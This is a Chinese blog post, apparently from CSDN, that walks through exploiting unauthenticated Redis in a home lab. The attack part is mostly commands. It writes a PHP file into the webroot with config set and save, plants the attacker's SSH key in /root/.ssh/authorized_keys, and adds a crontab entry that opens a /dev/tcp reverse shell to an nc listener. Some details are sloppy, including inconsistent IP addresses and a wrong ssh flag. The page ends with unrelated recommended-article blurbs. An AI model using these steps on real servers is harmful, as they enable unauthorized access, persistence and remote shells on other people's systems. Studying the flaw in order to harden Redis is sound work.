Redis未授权访问漏洞利用总结

【Redis漏洞利用总结】 redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。Redis默认使用 6379 端口。 阅读详情

前言:

什么是Redis未授权访问?
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害:

  • 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

环境搭建:

  • 攻击机:kali 192.168.142.128
  • 被攻击机:ubuntu 192.168.142.134

第一步:ubuntu中下载安装Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

在这里插入图片描述
第二步:下载好以后,解压Redis安装包,进入到Redis目录中
在这里插入图片描述
第三步:进入目录后,通过make编译的方式来安装(通过make编译安装需要gcc环境)如下提示“It’s a good idea to run ‘make test’ ”代表编译安装成功。
在这里插入图片描述在这里插入图片描述

第四步:make结束后,进入src目录:cd src,
将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
在这里插入图片描述
第五步:返回redis-2.8.17目录,将redis.conf拷贝到/etc/目录下。
在这里插入图片描述
第六步:使用/etc/目录下的reids.conf文件中的配置启动redis服务:

在这里插入图片描述第七步:此时被攻击机的Redis服务已经启动了,作为攻击机的kali系统,按照以上的步骤同样安装Redis(作为客户端)。

漏洞复现:

使用redis客户端直接无账号成功登录redis(未授权访问)

redis-cli -h 192.168.142.134

在这里插入图片描述

0x01利用redis写webshell:

条件:

  • 靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
  • 开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
  • 我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件

操作步骤:

config set dir /var/www/html/ 
config set  dbfilname info.php 
set x "<?php phpinfo();?>" 
save

在这里插入图片描述
这里需要注意的是第三步写webshell的时候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的info.php文件内容。
在这里插入图片描述

0x02写入ssh公钥,获取操作系统权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。

第一步:在自己电脑上生成ssh公钥key:

ssh-keygen -t rsa

在这里插入图片描述

第二步:将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | ./redis-cli -h 192.168.142.135 -x set xxx

在这里插入图片描述
第三步:使用攻击机连接目标机器Redis

redis-cli -h 192.168.142.135

在这里插入图片描述
第四步:设置redis的备份路径为/root/.ssh/和保存文件名authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys

在这里插入图片描述
第五步:将数据保存在目标服务器硬盘上

save

第六步:使用攻击机ssh连接目标机

ssh -h 192.168.142.135

在这里插入图片描述

0x03在crontab里写定时任务,反弹shell:

原理和写公钥一样的,只是变换了一下写入的内容和数据,数据库名。

第一步:在公网服务器中使用nc监听

nc -lvp 4444

第二步:连接Redis,写入反弹shell

./redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.152.129/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

第三步:过一分钟以后,在公网的nc中会反弹shell回来。

Redis未授权访问漏洞复现与利用 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。 阅读详情

相关推荐

利用redis未授权访问漏洞获取主机权限

目录1、漏洞描述2、漏洞影响版本3、漏洞危害4、漏洞利用 1、漏洞描述 Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在

Bird&Bird 2362

Redis漏洞大全~讲解最全的漏洞利用方法

Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivota赞助。漏洞原理。

weixin_67832625的博客 3686

Redis未授权访问漏洞引出的漏洞利用方式

redis未授权访问漏洞是一个由于redis服务版本较低其未设置登录密码导致的漏洞,攻击者可直接利用redis服务器的ip地址和端口完成redis服务器的远程登录,对目标服务器完成后续的控制和利用。

Chu_Jian_Xiong的博客 1663

Redis漏洞利用的4种方法

Redis简介 redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更

qq_50854662的博客 5058

MinerU安装指南:从源码到验证的完整流程

本文详细介绍了MinerU文档转换工具的安装流程,从源码获取、依赖安装到验证步骤,提供了完整的安装指南和常见问题解决方案。特别适合技术写作者和开发者快速部署这款高效的文档转换工具,提升工作效率。

weixin_29243279的博客 545

Python Selenium自动化浏览器实战:从环境搭建到高级技巧

浏览器自动化是现代软件开发与数据处理中的关键技术,它通过程序模拟用户操作,实现网页交互的自动化执行。其核心原理是基于WebDriver协议,通过驱动程序与浏览器进行通信,从而控制浏览器的各种行为。这项技术的价值在于能够将重复性高、耗时长的Web操作转化为可编程、可复用的脚本,极大提升工作效率和准确性。在应用场景上,它广泛覆盖了Web自动化测试、数据采集与爬虫、日常办公流程自动化以及RPA(机器人流程自动化)等多个领域。本文聚焦于Python环境下Selenium这一经典工具,深入讲解其环境配置、八大元素定位

anwenzhao0749的博客 445

Redis未授权访问的三种利用方式

Redis是一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的API。

m0_67402914的博客 2419

从零开始VCS+Verdi 安装过程

从零开始VCS+Verdi 安装及破解过程 主要参考:VCS+Verdi 安装及破解过程(CentOS7)-----FPGA开发 1. 安装文件结构 –vcs-mx_vL-2016.06 –verdi_vL-2016.06-1 –scl_v11.9 #此程序统一管理license等破解文件 –SynopsysInstaller.rar #此程序用于安装以上3个程序 –sc...

Ztrans的博客 2万+

SSRF漏洞与redis未授权访问的共同利用

SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。

网安小菜鸡的博客 1362

告别玄学调试:用STM32CubeMX和逻辑分析仪搞定DP83848的RMII与SMI接口

本文详细介绍了如何使用STM32CubeMX和逻辑分析仪调试DP83848的RMII与SMI接口,帮助开发者超越表象,直接观察底层通信波形。通过实战案例和高级调试技巧,解决常见问题如时钟偏移、信号完整性等,提升网络接口的稳定性和可靠性。

weixin_30752699的博客 299

高缺失率时空数据插补实战:从随机森林到扩散模型的性能对比

数据缺失是数据分析与机器学习建模中普遍面临的挑战,尤其在时空数据领域,传感器故障、传输中断等问题常导致数据不完整。数据插补技术旨在基于已知数据的模式和关联性,合理估算缺失值,为后续分析提供可靠基础。其核心原理在于利用数据的时空相关性(如时间周期性、空间邻近性)及与外部驱动因素(如交通、气象)的关联构建预测模型。这项技术的价值在于能将不完整的数据集转化为可用于高质量分析和预测的可用资产,广泛应用于环境监测、交通流量预测、金融风控等领域。本文聚焦于一个极具挑战性的场景——PM2.5监测数据缺失率高达82%,通过

weixin_30363285的博客 544

Redis未授权访问漏洞的利用及防护

什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379。如果没有采取相关的安全策略,比如添加防火墙规则、避免其他非信任来源IP访问等,这样会使Redis服务完全暴露在公网上。如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在访问目标服务器时,可以在未授权的情况下访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis...

魂影魔宅 1046

StarUML最新版汉化与破解二合一教程:5分钟搞定永久使用

本文提供StarUML最新版的高效使用指南,涵盖从安装到深度定制的全流程优化方案。包括软件获取最佳实践、界面个性化设置、核心建模技巧、团队协作策略及性能优化建议,帮助架构师和开发团队提升UML建模效率。特别推荐版本控制集成和文档自动化输出方案,适用于各类规模的项目开发。

weixin_42530732的博客 452

Redis未授权访问漏洞利用及防护措施(非常详细)

靶机(centos6.6):192.168.109.150 攻击机(kali-linux 2019.3):192.168.109.148 漏洞环境配置部署见:https://blog.youkuaiyun.com/qq_41210745/article/details/103305262 1.nmap存活主机扫描 2.发现疑似目标主机,扫描端口服务:找到目标端口6379 3.ka...

7Riven's blog 1万+

【大模型】从0到1:DeepSeek + Coze API调用全攻略,企业,开发个人专属AI智能体使用详解,小白也能轻松上手

本文介绍了如何通过API将Coze智能体集成到自有系统中的完整步骤:1)获取API token和个人工作空间的space_id;2)通过GET请求获取bot_id;3)使用POST发起对话请求,需包含bot_id、user_id和问题内容;4)通过两次API调用异步获取响应消息。文章还解释了Coze采用异步处理机制的原因,并预告了下期将讲解Java调用Coze接口的实现方法。整个过程需要使用API工具进行调试,确保了系统集成的可行性。

qq_27246521的博客 822

YOLO26 FP16/INT8混合量化实战:精度无损+速度拉满,边缘设备部署最优解

这是混合量化的灵魂,告诉量化器:哪些层不准动,保留FP16。"""判断是否为量化敏感层 → 是则豁免为FP16返回 True=敏感层(FP16),False=可量化(INT8)"""# 1. 检测头回归分支# 2. 小通道1×1卷积# 3. SiLU 激活# 4. 残差ShortcutYOLO26想要在Jetson、RK3588、昇腾、嵌入式NPU上真正落地,FP16/INT8混合量化是唯一最优解。它的核心逻辑不是玄学,而是工程上的精准取舍能量化的层,全部INT8榨性能;

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 747

redis未授权访问漏洞利用+redis日志分析

下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz。将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下。将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/将redis-server 移动到/usr/bin/

ChenD的学习笔记 2009

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

Redis未授权访问漏洞利用

Redis未授权访问漏洞利用

weixin_53440207的博客 795

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

redis未授权访问漏洞利用

参考:https://blog.youkuaiyun.com/guxiaoguo/article/details/78913245 利用条件:linux,对方开启ssh 用到的工具:kail nmap redis 公司测试服务器:10.0.3.45 redis默认端口:6379 主要思路:利用redis未授权访问命令给root账户写入SSH公钥文件,然后通过SSH登录服务器 nmap扫描 使用命令:nmap ...

u011790603的博客 411

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Redis数据库未授权访问漏洞的三种利用方式

漏洞描述: 由于Redis默认是运行在TCP的6379端口上,而且默认安装没有设置用户访问认证,也没有访问IP限制,这样导致端口开放后,对Redis服务可以直接匿名访问,并且可对数据库进行匿名操作,信息泄露,执行命令等操作。 一、Redis数据库安装 虚拟机CentOS7,Xshell连接,拷贝安装包,解压 cd 看看有什么 src 源码所在的文件夹 安装编译工具:make 和 gcc 记得选Y 安装完成 进入src目录,执行命令:make 编译完...

zh的博客 3967

Redis未授权访问漏洞:从原理到高级利用

Redis未授权访问漏洞:从原理到高级利用

缘友一世的博客 1271

redis攻防笔记-未授权访问漏洞复现及利用

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

NoooEmotion的博客 907

Redis未授权访问漏洞复现与GETSHELL利用方法汇总(含靶场搭建)

一、漏洞产生原因 redis安装完之后,默认情况下绑定在 0.0.0.0:6379,且没有对登录IP做限制,并且没有设置密码(默认为空)。 二、漏洞危害 攻击者无需认证即可访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件; 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。 三、靶场搭建 3.1、redis数据库下载安装 访问

W小哥 3235
上一篇: ActiveMQ漏洞(CVE-2016-3088)利用总结
下一篇: Apache Solr远程命令执行漏洞复现+实战
Mrzheng77
博客等级 码龄11年 92粉丝 66原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值